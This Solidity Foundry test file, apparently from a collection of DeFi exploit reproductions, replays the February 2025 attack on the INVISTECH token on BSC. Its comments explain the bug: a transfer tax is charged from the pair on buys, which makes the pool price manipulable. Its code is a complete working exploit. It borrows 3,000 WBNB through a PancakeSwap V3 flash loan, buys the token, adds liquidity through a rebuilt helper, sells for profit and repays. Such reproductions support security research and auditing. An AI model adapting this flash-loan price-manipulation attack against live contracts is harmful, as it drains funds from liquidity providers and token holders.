src/test/2025-02/INVISTECH_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 5.14 BNB
8// Attacker : 0x52e38d496f8d712394d5ed55e4d4cdd21f1957de
9// Attack Contract : 0x3f364b486b99dd1433287d3b1aa49addfe94f790
10// Vulnerable Contract : 0xAa217F7BaB90100419B99c027AdCf5f0a005C192
11// Attack Tx : https://bscscan.com/tx/0x92126f0bde98d360b37b7074fea6f41fd47fd19d1cced134681ff64b1aef56b8
12//
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xaa217f7bab90100419b99c027adcf5f0a005c192#code
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/515
18//
19// INVISTECH taxes transfers when either side is a configured pair. On buys from
20// the INVISTECH/WBNB pair, the tax is charged from the pair itself, removing
21// extra INVISTECH from pair balance and making the pool price manipulable. The
22// attacker used a WBNB flash loan plus a helper with pre-positioned balances to
23// add/buy liquidity, then sold the flash-bought INVISTECH back for WBNB profit.
24 
25address constant ATTACKER = 0x52e38D496F8D712394D5ED55E4d4Cdd21f1957De;
26address constant ATTACK_CONTRACT = 0x3F364b486B99dd1433287d3b1aA49Addfe94F790;
27address constant HISTORICAL_HELPER = 0x2945b340d851649871a4195Ad68fE0Ac53885591;
28address constant LP_RECEIVER = 0x9617A91DaffE6C79a2a702fA48BB62ae856F1a44;
29address constant INVISTECH_TOKEN = 0xAA217F7BAb90100419b99c027adCf5F0A005C192;
30address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
31address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
32address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
33address constant PANCAKE_V3_POOL = 0x172fcD41E0913e95784454622d1c3724f546f849;
34 
35interface IRebuiltHelper {
36    function run() external;
37}
38 
39contract RebuiltInvistechHelper {
40    IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
41    IERC20 private constant invistech = IERC20(INVISTECH_TOKEN);
42    IERC20 private constant wbnb = IERC20(WBNB_TOKEN);
43    IERC20 private constant usdt = IERC20(USDT_TOKEN);
44 
45    function run() external {
46        address[] memory usdtToWbnb = new address[](2);
47        usdtToWbnb[0] = USDT_TOKEN;
48        usdtToWbnb[1] = WBNB_TOKEN;
49 
50        uint256 usdtAmount = usdt.balanceOf(address(this));
51        usdt.approve(PANCAKE_ROUTER, usdtAmount);
52        router.swapExactTokensForTokens(usdtAmount, 0, usdtToWbnb, address(this), block.timestamp);
53 
54        address[] memory wbnbToInvistech = new address[](2);
55        wbnbToInvistech[0] = WBNB_TOKEN;
56        wbnbToInvistech[1] = INVISTECH_TOKEN;
57 
58        uint256 wbnbHalf = wbnb.balanceOf(address(this)) / 2;
59        uint256 invistechQuote = router.getAmountsOut(wbnbHalf, wbnbToInvistech)[1];
60 
61        wbnb.approve(PANCAKE_ROUTER, wbnbHalf);
62        invistech.approve(PANCAKE_ROUTER, invistechQuote);
63        router.addLiquidity(
64            INVISTECH_TOKEN,
65            WBNB_TOKEN,
66            invistechQuote,
67            wbnbHalf,
68            (invistechQuote * 80) / 100,
69            (wbnbHalf * 80) / 100,
70            LP_RECEIVER,
71            block.timestamp
72        );
73 
74        wbnb.approve(PANCAKE_ROUTER, wbnbHalf);
75        router.swapExactTokensForTokens(wbnbHalf, 0, wbnbToInvistech, address(this), block.timestamp);
76    }
77}
78 
79contract ContractTest is BaseTestWithBalanceLog {
80    IPancakeV3Pool private constant flashPool = IPancakeV3Pool(PANCAKE_V3_POOL);
81    IPancakeRouter private constant router = IPancakeRouter(payable(PANCAKE_ROUTER));
82    IERC20 private constant invistech = IERC20(INVISTECH_TOKEN);
83    IWBNB private constant wbnb = IWBNB(payable(WBNB_TOKEN));
84 
85    uint256 private constant FLASH_AMOUNT = 3_000 ether;
86 
87    function setUp() public {
88        uint256 forkBlock = 46_946_670;
89        vm.createSelectFork("bsc", forkBlock);
90 
91        fundingToken = WBNB_TOKEN;
92        vm.label(ATTACKER, "Attacker");
93        vm.label(ATTACK_CONTRACT, "Historical attack contract");
94        vm.label(HISTORICAL_HELPER, "Historical helper");
95        vm.label(INVISTECH_TOKEN, "INVISTECH");
96        vm.label(WBNB_TOKEN, "WBNB");
97        vm.label(USDT_TOKEN, "USDT");
98        vm.label(PANCAKE_ROUTER, "Pancake Router");
99        vm.label(PANCAKE_V3_POOL, "Pancake V3 USDT/WBNB Pool");
100 
101        RebuiltInvistechHelper helper = new RebuiltInvistechHelper();
102        vm.etch(HISTORICAL_HELPER, address(helper).code);
103    }
104 
105    function testExploit() public balanceLog {
106        uint256 balanceBefore = wbnb.balanceOf(address(this));
107        flashPool.flash(address(this), 0, FLASH_AMOUNT, "");
108        assertGt(wbnb.balanceOf(address(this)) - balanceBefore, 5 ether);
109    }
110 
111    function pancakeV3FlashCallback(uint256, uint256 fee1, bytes calldata) external {
112        require(msg.sender == PANCAKE_V3_POOL, "pool only");
113 
114        address[] memory buyPath = new address[](2);
115        buyPath[0] = WBNB_TOKEN;
116        buyPath[1] = INVISTECH_TOKEN;
117 
118        wbnb.approve(PANCAKE_ROUTER, type(uint256).max);
119        invistech.approve(PANCAKE_ROUTER, type(uint256).max);
120 
121        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
122            FLASH_AMOUNT, 0, buyPath, address(this), block.timestamp
123        );
124 
125        IRebuiltHelper(HISTORICAL_HELPER).run();
126 
127        address[] memory sellPath = new address[](2);
128        sellPath[0] = INVISTECH_TOKEN;
129        sellPath[1] = WBNB_TOKEN;
130        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
131            invistech.balanceOf(address(this)), 0, sellPath, address(this), block.timestamp
132        );
133 
134        wbnb.transfer(PANCAKE_V3_POOL, FLASH_AMOUNT + fee1);
135    }
136}